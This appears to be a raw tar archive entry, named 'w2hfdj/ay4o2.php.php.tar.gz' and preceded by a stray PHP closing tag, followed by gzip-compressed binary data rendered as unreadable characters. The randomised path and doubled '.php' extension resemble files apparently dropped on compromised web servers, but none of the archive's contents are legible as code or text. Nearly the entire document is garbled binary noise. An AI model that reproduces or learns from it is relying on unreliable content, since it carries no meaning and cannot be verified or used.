?>w2hfdj/ay4o2.php.php.tar.gz000064400000060315000000000000011337 0ustar00��k�#ɖ&��`�0����욾Cr�b�jV_���]dwo9�L�I&3���sn����a�lX�-ÐXaeH+a-���ݿ�����'�U�s��쩙��̈8q�ĉ'N�8�cdz���su%�cf��U��G3�5�ގ~B�!z�O��#Rȿ������'�8~��X,���x��Q*�u�䟭�22��/����?�ܬ���?��+�����\ʵ�ÿ�����o�����_��
�����������������5K����?���}�Տ���w���ui�PԿ���~���K�����],������G?���y�/����/�S��?��_��?�?���:3��y����'?�������������w�?�Y ���������~�/~�G����d
r����e��?�����om�����/�����v�}Ю��z�0��_��Q�R�*�G�0�L��?J}GÌ4M5en�Ȍ�K��Wo!w�*���ւ�rn��Q+~"K0�����2/��(��=�	fq����,3G��]>���X�����v�Bp׌:�u�������o�������SZ�c��v�]��x?/e���h��L@�>~-s��J�P~�s�^|��R�L��.L�����V�qI��VM�&�
Зs�!���u���}��=�����n���p�feʻ\w���w���X����ܔ�
����(�
(y��Tn�S�W~���H��c����ުsI�O��A6f���P�,7�ݎ��y| j'����%r�O��(��>OB�u^�
�Q:(�9*O��L��S&Ϸ��ʓ�]q2?y6#��͋��*o�p�h� �x�q䳩aZ�[�Ű+�xGm[3���d���b�e�����,�&���'�Y9�ݒhj-����r�U&2�V�Aj�M��I���
��Nj"�S~��O�X�M��믮\+f�=���V��.*u���G�D��?M��}��İN)�\�ChO
�2���$~J�<�^#sR�w�[
�[E�:(~5s��
R��x��֍�D�G���V�9Q�@V?Ȫ��&�Z�'rX6SP��̜Ȍ�(�Hf*�ҕ���T!
�;a����.=�b�A�$S�Π(�Ύ��Sԧ1�p.36kY:mxz��TrH9��+�$��*������	tV�,���_y��pk3M�Ѩ��`)̪Hl��_�<w��
Z�mE@@�o]��
��k�҄9F���f�`�LF�|9
$�����e���\
fcw"	��g$@�ʂ,�[m�
�~&�:��Φ%��94'QcY��X�LX�~K��z��o����R��|Jg��f����{�b�"�ס�4*}_���Ѭ��^��������j
؊��)[*�(���	�A3����A�sg��`�	|4J֙`��Q��+K�t\�j[����7��}�4�Cܣ���~�qEq@4X{�i��<��2��Ry�)
C� j�E�PeFT���e����&�W�����<pNx��`��@�*n�\U��-M���?��v�I���qb�p8�PM&Z2�b��jRh��v-�w�q���#w*�VҎ2A�&��@*O���L@
�bn���lj�����p0�'"zYh���{�4�O�z��M7�9�T�6ry<¯�NgGJ==���ɦp�<��Z�f@�U'@�Ƅꇏʧ�S��������{>^���u�
dqP���r
�k�IK�Z;�	dU�?�p�zKc�濿v�MP����.�y}3�6�(7"�z�@�>���x�t�zzr���j�f�c]��+<#���e,i��~=������lւ�Q�-����A&������zmd!���wTa+N�P_�
~�Ք$�ּU���D�L�ƌ�Dž6��,�	ї9u+���+̏褥��pb!��0; P(Fd�Φ�̀�
�ㄣ	)4+H#T܈6��HV�Ip���#	�$�+��z�-@
�:DŽ�tTy�?������4f��q�,�.X������αǫP(q8�\�E�C؎���+#u6��m���(��ҜI����b%����BXI'6�y��H&��d�gSo�ƇW��o@qL�@nR�[*p��J鏘d4ݑ&KN��@���X@�CJ��VH��X�	X��K+@�9�	`���Ͷ#[A�<*f��Y@e�n���57ʤ�9�`�0��{���瀅`!��6�9c8yh��-�
jͯ9+�����'.Ei/Z�nIV��p�r6�"TjH. �-����`�る���O��8�5y#0/H�~N����<���L�XnMQ���gj
}Ak�_К@©5�״&r�5I��j���5���&�ԚAT}�5Z���5 �6���(5O0��Z%Bh@`�&Z,|$�̚aq�/����cÂz�JݻЊ
"�aB�����V�	P
'�ܞ���	�d|U����`=W��A���'h��8�L[�=s�!JJ�!'�J���	RZk�i�
0�b���}g��c�V�G%<�=6��4J`�ªS�/�k~�3fh4��bd�`���F�y�U:^V3�i�۪M�6:��Mh�@��J4�a̦m��4\2,"T(�c�j�T���ms^Q�Ws�a9�}�ź�M�W֒�êo)FU
V���L]��A�|�@�C;<0��5���`�G.
�;�n�v]}��r��0�8f��R/Փ㰑��1�p�N9�5J�q,]�ę:�� ]P�!;��.Wh�p5����A
�W(V�ѥ���H����de�TZs�	�����F��Q��)'�w�6VL�d.QS2��GŢ�p��:G��ɠ!@�@	�M�5�F3k¸�Ӊ )�
�cy��9������T$��J���u��Z{��Qu����{�(KmZw|Ə92��w*	,T�@?���U��5�$����ԗ*���"��9e+�Y]�Q�w�` 1�]�X��*G�d���sg)"�v�dڍR|!���8V�w��@^��\��^�p�_
�������z<��ׂ9��İ���m�
�
Z!�7�Ӧ��Ym �3;O�ъ��������(��{<oR)ӄ�9	�J���o~C�op��Ix�/^ٰ�Ư�G>ޔ	OS2.�m%$�����fGK`4�5��L+Z�Bʲ��3���c�Ƭ�g�%wX��*xT� ��@8�WVz%6\E*�Y#�,�Xi�tmv�=�̏+������w����-	~���#��!�y�-ڼ��ZEo�k����m �C��A'"5f2A�U�*�Sh�y�H6x
��(�J�Pp�{������LL�lNJ*Y}T�GE�XP #ZȮ�1����\�wi-�b�V��n�U�A�r���3A�7�9�f�A��m�h�d��l5ޘ�wJ�WdTE�U��f��y|sRM��fƩ������ʫ`��\���%�A�s�쀤.��;A8��L�����27M]��T�w�p�XD3Hc~�5��X�>݃g\�;��w9��'Uz����~^A�|oN���!J0JC:��8�v�ᭈ7N��O��a@�x��1D��wC�h<@Щ��.�8�c]��&��g~Gc�.{���dK��M8gn'�)����h��W�P��N� *xM�8u.��k���������A��0����Dghf���	�IİS׬4�B���U>|t�*����nūn�5k��э1ʹ��K]kO �N=d�g������Y���^��xyk/o_��U�e�S�*�
~d��H���~�|��Rfxѡ�h\<���x ���f�$,�����`�#Vm���r\J��k0���C�H�e�'�()�,ܑr����HT�HL�	y��i���{P�J���Q��
'��u�K������1���Zmț�����5�N�1�r�n:���;6�;i��7ܖ};�W������"�?�'eO�]9�_��4v����z$��n���/"��S��8�y�%
ǎivbܑ�˔��<c�����iWfe�bYM�[r(�!挌:|�N.mi��s�4�;�	5ʌ���N�7)�����`K #�̐5$l�M�#�hZ����`թ#;���:[����ۙq����R����Mey�c��u�T�V�����1�Ћ�
cN${�W��n�"�����w@�
��"0��!\�TC�w&
�̪л{�~R�(��BE�;�9���xKb�h
Mx؄
�Ȏ/0�[�x0{����Q���k��땢Z=WXY�11���]�Hj���l�B"�j��2/䜺|rPR�V!�MA��m�i T~�v�?!7�zkq��2�N F����Rx�O�����G� �4=_�g��wT�ݨQP�D�0���
,8�U*�t2h��AG�ڍ&&'U.P��r�ۡ�3
���^%��}ȑҎ]�m���<�B�ن�	�,ui�$$CL,J�+4���������LD�_�^�V�Z��A�r��ow�r�۰Ѕꧫ�|���LwPR-R��;+"�ȕ�0�<�v����aL�j�@s6��N���Y�ǁ���Lm�j?IJ�����%׵�l
�6��&h��3
|>#�猃p&
�101��i����t��x*�3��n��G�����W��)g�������ɘ��)�{S�)
�sf+��ެnا�
�?����,X���}��K��^�t�\>3b�}'a���ǺK�?Y����Dʃ�rt���g��*����"u��^aδ�QGiK)[�gDz�dT��޻����$��p��õ-���=.����з�(��y1�k��Ɓ�����ݥ٭���%�E"��R<�W�*�F2𨯻�1�{&Ra��E�L��D���;����ݏ��	�vGW���Vշ,��	��y���t��`�R���H��eﵮ��T���3�+���bi�nxgx����=�MY�~|l���,0� K)8��_�W�=E]��^�&選Pa�}Xs�8-�w��r��Ĺ.rA~�u��ۻ�v)J�Y˪fZKv�Rɪ��T���J�j��S�i��ʼgb|�~�lq�6�ʰ�C��l'�[��?��pٻ���j�bSC�29�ih�!H�
~5{2���+bx
�0��~�{P��N��p�i.�8�R:���R���ު>
��=��ל7�����B��������0&� ɷ��?K��A`"܁��Z����2"����>��	;N�',#*7��}
K�����o��*3C�"Z�7�,�T"r�~W@z�`���
8����Fcqv�BkC�z��:B$�/�y�C�����+f��R[Yp_�9��E�8��]��F{�gR��;�y�7O��ne�5�W���]��)��n/�NW�r}?��Z�����zN��?j7:���>k��H8�ͯõ�|(�����:x����>D�35��'tB��&Ɖ�I)���b�ƅ�̄�L�O7O�P'��A��[n:3>•摮"s�����ض�8�l����b��2�hEOWQn3b�FnƇ�3os���}u�=��/�U5�U��b���mh1����<�<��eË�*Z��r:����$ӋT�.�e&���kl6^N��;
MµAL���i2�g#��ؗ����p�:퍅���8��Bd�<��d���W��BN"���;�f+��+L(Y>0�tx1���>
h�bx��ZҡVʬ��(���6�R���ɢZI�<����_�t�����*$��f���a*��3:�Q�:��}��EC��*\�f�Ȧ:��k��)�S�����h$
T���!ADž�`�Pe�pWR*�t�_H�F;x��9e�3G�R�o*�e�>��Ӆ����*���D">��L{�V"r6��~":��|:��D���v��1�Ȥp��F:�)o���1���E7�m��	�%��çނ�V�4�P;l���)��!�N6�)d��!�[F��~��A�0��V��|�껑��t����r^P�V��QI8�,�	�V�%�B��5*i>��%���p�_G�C��gy�&�G;�&w�V(�i�B�����զ۫J�\�gA�R���zM]F�Q�ү���r;������/��ʩKnևL�Ɲ�n�u�viƔLsR���Z��3����ql�mer��c��C�Zs��T�ҙ/4�R ��%#�� �^���X5��׏��"�ގB��˴��\����v��=���f9~{�$�n��vu��FB�S$��4s�>��W�vnrx"�yh��yy�0��R)�rb�`��1h�"�P�;��J�4�s��X:�0�9Cw����z���T������������óhs���	n��7��UO�t�����v$g��,m.�94�C��5�w�6'�I�M��*k�0D���4�sȯ���}:��u��Z�T	��nc�Q;�f9^�ɖ�
�e>�,�h�u��9�u���y�
���Ex��S���A��AؑH�@�V=>�A���瞚�F�ሻS6�Tɥ��?�o�z��y��
��e��o~.�F�����p�9�l�~O����
o]~3�(��8W�/鿖��J�m/-�u�[�pYP��v�;e͈ڈ�U\ߛw�-;�4�{y}����N�=#1ێ�9r47���O뢳֠����f�a����h͐�&[S�<<���c(,+�&�4@����r�3,m�kN��DV	H�,A���7�Sᦝr��S��Q0�Wp�e?�-�Z߹|�o]>��W�@ƹ��b���>B�7��b�ޮ��.�?�!
r+\��i����{hXB��I���'�ː�r��B�T�Ji'��ơ\z�pn��De�t�� �*ȨU��x�a�2��`F L(�4�4�p`������hO�Y7$H�X��7Lm��8���zj�y0R
�k-Z��"F+]d]O�����1-r�Nas��+���B���)�֑��O�ǿ�ӛ?�;��3
�����S����?���?������+��g������)��xp�:��X���0�Bu- �4��U�}�}JBL`��g4R`Q�c;rx��q�n���;��ɖ�%u�v��A�s�Y���Lr
�F3�sj�f1q�@A���`4zM����Z���Ҫv�4��$�S��!@�_fDKs,��[U�D��C��М�eD��m~�G�ݞ;Sk�F_���ju�qL�I��C��}`*L]����f�,��`�4�v6O���9�_s���d���<�r�	��m"�ı<��ac�l��j�s,�s�amFV�72�~���P&Xacʜr�_�ّ0���Mq0���ww�HoS�Ӿ%{����{s�)��������h��k
MIs�b�5���]gj��;�xX-��K�˘�̅P�Ă�^�_��o�e��^Z��./�O/�"�2���P���aW'}7��AX��l}��0�l�8��!��d'�ZP�g��������}VaM�!�m?uM_��R���yn����(b�#L'j<�8y�i��ϑ����,ɩft�J$��j�edš7�cx�Z\̵������!�3���%f�}��@���\>;'9|�}2��
mc۔��1�F���Y��
�%��q�;�nW�qx�d���)��b���r��=�tx?��3C%�"F"�c>[d4��7.���:D>�Ia���@EN�J��z�
�P��F���{���y޼	����)�]]�AJ���)��ɘ���b�z�No����	l�s{��uM�ᘺ��:O�)x�^�F O��(F�RAQ�g�Q�V�)�rl��w���'
���ueAW�jҜ��:�	rn0��T�����F���xF#�Iw�������x
%S���xm���0EHO�5Ѥ3qX?���gǡ���{�7K�4>Q<�n�d�i�"�DG%�.�u�aR$18�z�2i�1,-�'��rd�1G{��د�ˎ#�N*{�+[5�����N�8����6W�m�,��)q�Ĥ;�\M����?Q
;R��NU�8�)Zuh�khì$�<Cm��ha��g�d�M=�y#����1� 1��i�G��C��I�.1�,��&�F��o�-lt�x���o�v4�����z�FS�V�Rs�W{��	�R�FyR���g_Կ�d�u��}�#kkSS�θ籙�\fF�l/�&�j̋�E ��4�C���+��� �9����+ŋ��n�%���ԕ�wN}�1vBc4Mh�Jt]�]#�ަ�&�^�b�c_.�=�R�'���K}Kbʂ/I<��yt��Û|e�&5�a��8�1�sP�`�e��S:q��F�9��ņ,�?"�F|��U�<�E��ۄ�_�t0U,|T(��,��p�Y"��|��������2�&j��o��z5��S���⪢䐖�Xs3����cZ�x��&�`���)��I����(��D��H$n�܂cD]0�:,]�9���ҝ�_�e��h��6�:0
�2���H�Z��ݍ<h
����B�t>x�og�'�(05��\ޤײi�����Xɀ���>!�Bk}��i��z�#��q7w��	��n��@4�3��­}F��A�XнnU�ƒ�J+�
�F�*�+�7�)��&�(|NN�7��A�b����_y���+w���d�'n�(}ь��`	�B��c@���.�GM]?��Zyy}ߓ�sqkݴ@�R(h�[ pP�h�?��y������0���űԁ.d3Mu��'�����BZ��������F,���8]�׻`�IBS0X:fS���j�1�6��n�Q�!1����T��*�\B�_��ٛ�|���|:�Q/�k��6�
����^��m��P��,6�@e�7�%M��!#�ME,g�\߸y�I}���k�<����~�΃�~��q\���`�Ǐ�k|��r�С��	#p�º �����a^W��+7������+�m��w�C��^}�Q���%�䐭24y�/��G�z�����P�h�������W+q�
R���$�C��:�p3eV�p���z��T�#P�*�F$\1Nj��U�8���b�����v<���`����b�d�ก�L�K�<:����%x��Q&��%�lq^����s���h��G
�VKa����y�^YPk���m��+|vu<s�o�t6���H�@6SY�DE�_�~����J��mu�N��9��B(�RxP��#90��b������ZZ8/4���=��
��?s���|>�����/f
�⹬�Q-d��֩� 
axl�Z$�B�@!V���}}�	�[���@NS**{;�eE���y��gFyq՚[��SPI�
����y����Do�ɐ�nHGS�P�W���P&����B�۩4�*���V��͢<�����OVj��Q$��X��Ǣ���4A'��I7$�Z�L�)&�p]�ӳN��+�2�qh�{�ti�����/4ׅE8޵�����7�˅�,I�����Z�:����~o�o�{�|1��t�����B?���R%��.�L�1�5ʼ"�#���dI�Nˏ��-�$���i?Mg��A'Woׇ�ڦW��\6wHt���m��R:�O�Q�p�;�L�9�6s{���K�Y:��k�l:��v�Z�X���&�a6��d�-�{�|&�XVV�o���쨛���\u�.҅��.�ũw�M����A��[�����L�
펆s�OWN;�.��}:�^u�h�>Sӹ�C?4*���p��k���c:=���m��[���8��\>�#�rg��$��l���d:2���N+���l�	���yD:-���C+4l=�W��v/�F�n%SOӳDbz;�.�K��Lr�HCV⍺億�E����Mot�'�M���%o5�=�t<#eTzS⳶�8���)W��f��KK
�����I4�*�B��2Z�W���p�~�N��^��}:�x#	�9
F�q���?>�Ls1�+�@�қ���y�:�J�]�Tiz���|gP��R/�w&�h~%�N�)x�W�T&=!�K.#jB��k��V��7��mW�9;�7C��5(uӑ�$�nV��D�WI�r�"��L�aڛ��7{#e�\u&�t�q�ZV�nE9ѥ, K���T�L�Hw3��)���2���҇Y]jgj�lk��fW�t��0�0�l�狧q�ܵ��l��i3e�;IG�{a�-����g�J��ɶڙcz�vJ�.�0[,f����1R����!�{�3�vy�m�{�COZ�ʅ~�4-''�rt<��|0�q�;w��A(��n����s[f.J�4۵F��a%%�î5�[Ls�Iܴ�	͚!)�m%&�}c6̜��q.�=(��ҝ)�Q}q��y9}��;���18Lx�ՙ����0�ʳa;���A>>�Tf�R�ȳ�C}�����ñ��䷁Yj{'��pQ>̃�r5��D�z��|3_?�:|�v|��Z���.t;y��XE;e�Rٌ�@'#-�	����i�@>��"��Es�e�ۚ'�"���y�ROYo:sQ�7z�hk$�r�>�`zjH��- � �\*�ސ��vp�����5�c���=2Mv-{���
�hCHf�n��t3���|�;D�b%�ӓ�� ���[�et���SI^5�Q.*��F�׉¨Tɮ����Giׯ�6��mfj?|�����PO��Q�l.6-�'l�flł�q/ĭ1��Yq�8آץ�.��I��$s�Bq���Ů6�eC���)�R�DF�Y�1� ���C�"o�t;�O�͆�G[�z��N�]�7Z$J���}8�3Q�T��D8V	ϻ�
W^c�@��<��y�f��;��	L�]���0X�������eK��Ȍ�b/)t�̤�>��ͮ��؆����Xͳ��v�
E9
q�6�M9n��C�J{� [�R�0+*��2�*��|�8t���i�V�q�_�=N��V�?��Ȱ�޲�����asQ����2
�f�0����v�u=�^w��ժ��ݜZ;$µS�����8OUq����n��2W�uÇ����m3kAܪ�a;�K����kV	0�����U��I{�@LՑ�����
mƓ��xf��V]�B�AA�YQM�{o��Փ[1T���Rn8�6
;���x�Xȭ
5Ɯ֧m3.$��j���f(�\��f����q ����D�'��}�D���z⭮��A
�w\��6��G���*��!)���mt��1���7��O�Z���f�Q6Og��~���ʥh��fF�G�|L.��£�r{5�ov�<~�x���Q�ּ��>^T�A�����:�v��(x�@�.��%��@++β��h�x��������։���h���h�C\0��d��v?��T��1#w
ұqlɝR8]4���:��t���<�*V��H�!2(�\���Œ	t����i;���n��0ʇתX�%��1X�w$n�u)�]tb��p;�Z�ϳ���t�h��l뫨�S�D|�(E�a>��Q ��=ǔ�]��>0�꼬4֣t�<o4��V;��d��ô�e��FV��ɃX��v]-�C���2�6�٦��������ry�6�jc�g���z��z'vu�p��:T.���&Y6:�Q���H��y�bt5
ca>�z�XU=&8�5}`⍖�@p�6c�_���Q*)+V��4+�#����OGu۪GO;��ռR�DF��z8���v�`�rQ�*�Ác�J��+T"�Af�Ol˛Pe�wc;��S9��Ay֏g�R5��
rl����Aa��&Ao��g�C���tSۊ�0\U�yw\�N���L
�B1�w~�6�.�t�#�a��@���skf#x���*R��@�M�F8�\>���i�R��g��kt��'F�����`g�o�{^���UV���x;>W��0�?��S���v��O����`�M�o�n�b��@�#l�K�a���@�����q�l�;�~��H�X`�8�^zޱ�@�>��S1��풸�M'az��2�J���ȗ�d�4����:��U��Z�v�x(lc���`Ǜ�('�Ie���͂����@db�jw�O�#+���)�����$���P�Iͱ�˗����$��v��f%�6+ǐ����珫M"�
o؆����n7���ꖑea���-'��\h���\=g��`4��Au�5�av7������;~�<)�x�q"�7�D7~�&�9��
��p�ow�p}����}��%��I����fL���>���`��sñ,.f�FW��j26=��Dry:�N�xZ�n��n�[�c�i#0Z����(D��(М��V�Pb�=�c����T����N�?N'�!����f��N�K	�-�ʴ�
T���a�]҉|:�8��ک�*p]W.�R;����D��e��(
��0��G����+AF��a���z�5�d�bm.p�t�W��<:69&�nH�ڹ�4�حy��r˷�	.=�͘fi��{^ޛ'҅H��>�+��)(��I�o�[��l�
�Jr5
�oi����0Q�����]�ߞ&�F��߅�Q�g�^$�Л�<n��,Mo���ѩ�Yo�1��{Gy�~|ȅN���G%Yϣr�|z�:(�r�V8x'��,��
K��i�ۀ��wC�}~4O�[�Q�?W;�0�]�B���-��}�9��B�ִ�{��+-0�3�D�g&�FH��l����*��F���9�%1��N��	����t����;�r��>�f[��q�nhW��7,-c�r��,)�ш���V���
�a�ԝ��t�x�"���j��Sv��s��2��vrX�V�⦞K�zf�W�P9����r�=-������c+���>y�A)��
Y�2
f��J�#��{��� ��f+�R�h%�֥Z���VF�V��Z �L��4���S(���S&o����3�����j�a�M�YaG�e!\�#��q���~o��y��]v��U6{�1�!���b���-�[�/��_l!��B~���b���-�[�/��_l!�?[Hw}��a��LbIl!�A�6���_�޸r?�l-]^�eV��[�C��?�i��w�r3Z�����c�P���y�xL�%�fC1'	�C27�J$�6�%��&��8�=л��{+��wZ��ttt�m��b֐��T���CFNr�bd8?:`aSJB�����p!�+��r���CG�M��@��Uz�(�Ϧ��hFRe��Ԙ�Wލ��X�,Ɩ�2S�Lwmt�"%َ��B2����dh��B�ζU�b��4B|8�h�*7��k���m�O����|:?d�Jm>
�q!�[4��v�N�|7�쭸EF���
�+ո}���6sizZ�+�3�U���ft!~8F��Y�X�F:�i1��ʋ��t¥\k�Y͋�� ��Sћۅ�Aիrt;̉�|�3��E�P����R)��.[�"�R\�1��_��E�V�N�i9����ގ��St��NL�q�E��܆���A��ҵ�����X�=��rr��������/���M/g��;(+��4����u|8����(��b�ȕ�ir���W�m'�Diŝ"�ã7����x��.�P޽O�|�S��_�yi���_���x7΅U|w��z'̢��1t��byE+��
5���$���Ø
%�����,m�z���m��ҝ�D~PJJH<�٪.�C�̣<��:����ǵ�ެ+��^�#1�NԊ��P9Ŷ���K����]=�;�r���`?s�OLp���Z�a'C'�(�݃�aˣ�`_���H���Nio=q����8:H���J��|3�M�(��O�
�Tg��<8���7֎%
\"y��Ko[����o��L2�E��0��y�N:�Z�ILs{>�G��nl�|R‘���X��k;M@��f͗'k/��d�VT樜:�R�&��@d[���1Qe�^�?�m�U��w�hy䕅RbR���)ΰ�]��������ێ"^9y
�ﭫa6���Xg�Dr�LK^%*�����PU�����Ydd�0���xk6���V��|A'3�`E���NP\�[x�
�~����LT�����&PR�4��,˛�X%��V�����@$>����" �Vf��3>�����ς�Q�3��� ��C�*G�LfTL�N�aVB���0���� 4�=��^�P_�*��RF�ځ_)�fe��jJzT_T��i6���q�Э|4�U�y53g���t1�v�P\Ɩ��a(��Q˂@i�B�l��]ֽ���Qg][1�\!�Y�(�F!(��h^Ȥ�5��$��n�3��
%�*gR}�,�B�a�Y��C%S�fǵd�ZO�y��^qT���m�q�>�[B�)�s�Lh2�Ny�x���1�G��Fmג��f���L��x\DZ�������:,��i�����k�N��hW��a���$�W�3�2�9ND�,�W�{R��C������;�{-`�X�&�;��&S*��5���T��VপC��*5O�Ţ��qAwH�=ߟ9{j~����x���m�0�^]%�G����7�h��|U}��0�%/��\��@�c]���S�������,���Mpg=&��*A�����~{����D1ŗ���'��2(ʩ��|�#e�F
p�+h.�-�x-��Uh�|h��v��G��+CW��.�aO;xDB��"ƚc<>����R�b�P7�x�9��9�`z��pH��l0ʘ�*��E5AgL�"jkǬ��,J���R����s��~�Uϯe
��'�V��	(x:�Ԙ%g\
a���'ӗ/�X���$�^��/��[�K�\[���`��&��d�� �C`��K��"o�_��9EN���dDﳙ�%���a�����>'�� ;��E�f�D���АX�]����n�4���XI�E7�(�r��_��v��s�7�~)~��,�9쌀_��V�w��?��s�K��e�qI_5"�!C���/`��I6���_,�9�g�6_����[(�3�W��"h	r�2D�DzK��T_��Q�¸��:���;E����*��T�»R�ezg��U�A��v��X=�SD�/E5b�d]�J�cҖ�S�¯�(@�=�������K6ȍ�6�-0����/��t��r��o�`�E|�H�ED��9
b{@�/G�0�'bf
�瀜%Hޗ�E���c�9 ����q�(���YGV���9��C�_���
�'\�+p��ؐ�8�ϵ���]j�O���bLl"��"�[1�G�C���	�c=NY� >Y*���N��J��"'�/�+��<��S��(��{$\Q�d[q���{B�w�o��!���"��2� ��$c*��D���
�c@%�¡�h���;�K���t�\���E��%�n�zo�w��їi�w��3=h�ff�ۯ��{��J��,e�d�\����dM�F�H�҂j�0M�a�Ɛ����6��{K@rx5&��<pd���ㆴ�Ğ��:+`i�D}EE��wҘV0b���q�HKD-�woI�f��@ӎ%����hWט�f�r�dD���1��X��Y�B�~5�[|	'4$�#�z�yK�eF]�L,�$q�����)7�Q�M�&h�����ᣋ��G0l@����j�F�� �8i��VЮa.�`D$����U�хn/��\W��]������@�1�\���w4�wO@�.���n��2t��$�&�O�+1��tC�p�o�%O066b��K���h�xr��z�g�}�6��-�_����+���lb�P�u�j�/ �~��t+��R��#���<l��C�b��b����~��Q$���oZ`��8�$$�\<i�X0�g�ו��NE|#X6�i����8G�E�@���9p��3��=I�Ac���`|8h(2c�S��ˆ�p��`|�H0���9�$�{!�߅����;��������%N=�_�
_�����x}:���={Q���5`p��	�Yn���
N�.j�	P��%��NvVR����A���˗�J��!���ִתSHe�.��`��C����kP�2�!=/k���b~Ԓ	�X�GjY+���SDH��.�/b�+3Ơ���;�l"�$�i6���5�~�����(
`�*�2�ũr�ƀǢ��|�]�(9�4aD��vPY��J��˳3�b�/�*�A�0Ό�z����
��Jb���G.e�q���?��Cآ�"~mN�`�0(2��_�S���lj��k���֣��^Ee�	��N��2�
�!G0S'�+ϷT�i��8	6��.'5?���KZ+����4s�dں��N���}9�1
���D�,���"�:Q8��I$���`�:�U_�Mc�^8Z��|�?U�~�|N5�9���o��*�K���5bt��~[�y"��w/
6��.
�~�%��(��3��U�3ȥ_$�_�d2�,�F��3�w	�X��9'�[�_�c�����R�f8Y�!L�/!A��n�p��@/.���2>Y�T{��F��Թ����W�~�ˠ��W��A�pF�섚�Z?�K�׶@���%�9�e{�^�4l��1. �$��xE�ɽl�5Y�� �t׾��LB���}N�\JT��K�^Ia�e��,�9w��X�_n�j	t�K<ms}r`�_����Ç/����g��˹�Z�Z�;���*�tư.�"w�݀^z%'����U@w_��<�S`h:�ߨ_����P"��F�.�L�cm�̸��<T�3+ŋ�ԅK��?_Uka�з@&c�ܕ�:jn4�B@��g��ν��u�Qb�1.�6��{~�e���}�zGsY�N���u��X�b��n�����xf�g]R�`GM!]u��竗�����0��Nש_O�]�NCJk`���3��$L�t����1f`�4�l��'~m2�*�VF׬8^����r�ʋ�Igǽ�!��07�]R��|��~y�����W��SM�w�f��l7��-/�YZ�4��W�[k��	O�f #ڑ��L�k�(~�܂0!M��qљs�	������6���u�	��Z��UIY0�u�!���@v$���W��n��;��u�]sk&8^�t��dn8_��&��v�a
q���j�CY1+0��`NRp��Ȯ�r����-*@g+��Կ\�`��K�靖�b��P�i�֘�wX�li��9EqC���ő�@�ܽs_n�>�=K2�ђ"3����L���L�Σ�/e��%�����4X_q��W8"1Ö��F��ԝV�a��Z<�!�n���g����$~PS)4I��~�+dJ“���2W�纹7�w�� ƈ��k=0`�>��;��6I�12�ZŖ���m0`�Ys��(23Q���Hk��>"~�4�?3sF���D�u�=+���+&����I��9&d1�pe�Ȱs5\�;k�'DWR�|���ZJ�AB��Wt-��S��òD�W�<�>�_�����t�lQF��3������hp�.�)}E[�yo�ACW�3;4ٗ1.�Tfހ��_]v[�x`��i�Uy�a�k�"H�W�Y�X�pe������g;k�f$����&/I�w���+��-�hl�'�K�˚-��h���:�f�R#ӗ�Lm??h�[��Ҩ���i�Z~���?_FMJ�| �/$(,vm��z��R���U�ѼD��O܇�9:k�%@
��^�v����M��/�ф�\o�4^:�_CSv5l�4�﷮�ߙ�x
���tsb�іrpnt�\����D�{QH
��9|&�5y��l��fJ_�-h	�8�D_m�_3���x�Ä���x��#���ځgd�&
��RT�+��U�;J���@�K������p�;�x��(�,�]ѣ~W���H�{3�85���3�2���
����?i���Z<�d�mH�pDg�L�%��vr�G�5����~Sj��C綗�iڀ�ը3���o*��=�����g�H9g���wg�|~
131��ہ1�la+�\k8�hc���	���C��Ct��*���w����F������[�mz�
<#jη�-0#�}d��>��W��(���ZXP'e(Ϛ�%�K�B�nEi/3k�Q��m+ 'U�&A�������TTs�:/�������U���m:Im�Z����P�0��ۅ�\�s]���[�s��8sDF'�Kf�dl��@m�h��6;��U�~ٺ�!+��|�`ڝy�ȼy�Q8ψN:�5!j`���U���
��������K�(#�Z�����B�d����n�g�;'��FΘh�?�?i�&��Q�~"T;$I�n��l�W��ž8^����dW��
 ��e�鴾���s��l4a9�abD�a�{����7p3�3E����o��i�ǜ�G7|@ì�S�ç
S"�er��6�l��Pԗ�0;���f�r�BGB�������x�8 ��,��'"f3�G��]��9�(m)eK���/�†��kX�mr��h~)Z���r}�V1]����@���z-�~��HY��_�ȑ2�m�31��p5���G���o
T'�6:p��hH�.�7�#S0��m�(����1�0���	�w{^d��m߃Vc�d
�f�RbV���}t���v���T�|XCME�6��Ey	^@R�A����J��)>U��KJ�|��։<��W(���	�؝̩[Y�Щ��|9�=� ϗ�p��[���q�W@��?�r.)�\
A��D��PL��f�y=N��9�d-��%S�HJQ����j����C���`���	����_*����w�e�JpI�	�_�[~㜝~��x?�&1�G��p��{�8�_�+3X%BEIOZ�D�c�|s��f�	�ˆ�)T5&%x�w*a�i�b��WbrF���%8
Wͱ����?�aGi�*|�PV\�o~C�o�U�؛��|�D�w���'�Y��b��\W�aׇ����7���#�`����-6@��
p_oV7,U��o�k�/���X�A}�d���K��昬�L�D,�w8���8M[!k]���B}�C�o����^(�J+̭�09�V�TF Yq��O`&�O�
l���wTF����M ���{~���C�u&���Z����ηc�DZ�9N�>��t}_D鐗(sq4u+�ǵR�~}N{n����&Ce�7$@H"�b�����X�0��d�5�L��q���PW��I��s�-��,��|�Ix-�Z:��g���d
,~{`���L
G�c��ⳛ��N�Yw�cSa��l����&`�;�����Sg�q*�z5+�N�(o�;�wr�Z����z�i���$��@s
	�W��?��/����J��F��VD�CJ�� �ݺ�C�"x�R��
�t%a�i��.F)���
f��Zl
�ĠH��z
�q1�Y�J�� ŵ��P�G�_�g蒔y�o���O��P���̡����T�,��L�Z�h�ೂ2��D�u:e��
'"O���T�)7$)�9�әl._(���j��h�ڝn�?x���妳9�X
+QZodE���)�#�X<����~�D^u__{|��G�>j�@�1>
��j��
B�(�%p���V~@��:���^�xt�x�+?<��U�`8�C	Ꞛ%d
�hE�����	u�R��QQ�;����,ʎr�1s���{� �\48�L���s��yK�!��y`�	�142@�K���~x�:�@9P**��Q�SH��>E�Oa�SB��a��oA�[C�Xݤ���rOP�D!�n�m���d���=���H��d�J�@��/1Pjk�]
�`:��2cد�e�a�	��_!��Qc)�9F��~׳{���N�>�5b�%�&�^��+ȪHv%$s���ָܭ;�Ü[����u�܇�iQ��M�+ATn��5@�V��̯� �D���
�n��J�sMJ^Q�@
`�(��޿�%yFw�t;���xD@QBv�wonn>�a0X��J~� �_��(I^�%ii���D9��ԁĺ�~�}���&�@������o9,ʊ2�D|�/|</M�#p�ɖ
��FM|��H~����݊�iv�m��Eڂ!!n�4#N�72��xH?�SS�n�&qMߓ��8�:����lDÉ4�{�O��� ���H�3 ����4J��z>�3�Qt��gEM�'֟�=g'�4�����BZv��D�DkP�C"֛fT��$J7�	��D=�6�u6�E5�ŠK�Y�z��z���y蓥n�j����{>���^L9���p��{���G��<o��V
